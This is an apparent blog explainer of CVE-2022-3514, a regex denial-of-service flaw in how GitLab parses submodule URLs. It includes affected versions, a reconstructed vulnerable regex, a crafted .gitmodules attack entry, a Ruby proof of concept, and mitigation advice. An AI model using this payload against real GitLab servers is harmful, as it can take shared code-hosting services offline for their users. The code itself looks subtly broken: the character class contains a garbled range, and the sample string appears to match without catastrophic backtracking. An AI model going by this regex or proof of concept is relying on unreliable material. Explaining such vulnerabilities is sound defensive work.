Summary:  
In late 2022, security researchers uncovered a dangerous vulnerability—CVE-2022-3514—in GitLab, one of the world’s most popular code-hosting platforms. Problematic versions include everything from the ancient 6.6 up to 15.7, before critical patch releases. This post breaks down what happened, how the bug works, and shows some code so you understand how easy it is for attackers to take a whole GitLab server offline.

What is CVE-2022-3514?

CVE-2022-3514 is a Denial of Service (DoS) issue in GitLab CE/EE. The root cause? An insecure regular expression in GitLab’s code where it parses submodule URLs during repository processing. Attackers can submit specially crafted URLs to exploit this regex, causing massive CPU resource consumption that brings the hosting GitLab instance to a halt—no data stolen, but the service is stone dead!

> Vulnerable Version Ranges:  
> - All from 6.6 up to (but not including) 15.5.7  
> - All from 15.6 up to (but not including) 15.6.4  
> - All from 15.7 up to (but not including) 15.7.2

A Quick Primer: What is a Submodule in Git?

A submodule lets you include a repository inside another repository—a neat way to split complex codebases. Each submodule has a .gitmodules file specifying its details, including its URL.

The Root Cause: Evil Regex

Developers often use regular expressions (regex) for string matching. But badly written regex can be abused, especially with so-called “catastrophic backtracking.” That’s what happened here.

Here’s a simplified version of what the vulnerable GitLab code looked like

# Simplified example based on actual GitLab code
def valid_url?(url)
  # Vulnerable regex for submodule URLs
  !!(url =~ /\A(?:https?|git|ssh|rsync|file):\/\/[a-zA-Z-9@:%._\+~#=]+(?:\/[a-zA-Z-9@:%._\+~#=]*)*\z/)
end

This regex checks if a submodule’s URL is valid. Looks okay at quick glance, right? The problem is in the pattern matching, particularly with nested or repetitive structures (e.g. lots of slashes or unusual combinations).

Exploit: Regex DoS (ReDoS) in Practice

Attackers can bomb GitLab with a malicious .gitmodules file containing a specifically crafted long string designed to trigger exponential backtracking in the regex. The parser gets stuck, CPU usage skyrockets, and GitLab grinds to a halt until an admin intervenes.

Here’s an example of an evil entry that could trigger this bug

[submodule "attack"]
  path = attack
  url = ssh://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa//....(repeat many times).../

Basically, the more repetitive and complicated the string (especially with slashes and special characters), the worse the performance hit!

Let’s reproduce a simple triggering case in Ruby, inspired by the vulnerable code

# Proof of concept for ReDoS
evil_url = "ssh://" + "a" * 100000 + "/" * 100
regex = /\A(?:https?|git|ssh|rsync|file):\/\/[a-zA-Z-9@:%._\+~#=]+(?:\/[a-zA-Z-9@:%._\+~#=]*)*\z/

start = Time.now
regex.match(evil_url)
puts "Processed in #{Time.now - start}s"

On a vulnerable machine, this can take *minutes* to compute—or longer—effectively tying up processing resources.

Pushes to GitLab:

When GitLab processes the repo or runs background jobs (even simply viewing the repo page can trigger parsing!), the evil regex runs on the attacker’s crafted string.

Server Stalls:

CPU maxes out—GitLab web UI hangs, runners may time out, and CI/CD stops. In bigger attacks, an attacker could set up bots or scripts to keep the server tied up with repeated uploads.

Patching and Mitigations

- Upgrade! See GitLab’s security release notes and official CVE page.  
- If you’re stuck on an older (unsupported) version, restrict who can push, or block overly complex submodule URLs by pre-receive hooks—though this is not a long-term solution.

Conclusion: Simple Regex, Serious Trouble

CVE-2022-3514 is a textbook example of how a little careless code can turn into a massive headache. Regular expressions are powerful—but with great power comes great responsibility. Always use well-tested, bounded regex or better yet, more robust URL parsers.

For more technical details

- Official CVE-2022-3514 entry
- GitLab Security Release Post
- Common ReDoS pitfalls in regex

Timeline

Published on: 01/12/2023 04:15:00 UTC
Last modified on: 01/18/2023 20:38:00 UTC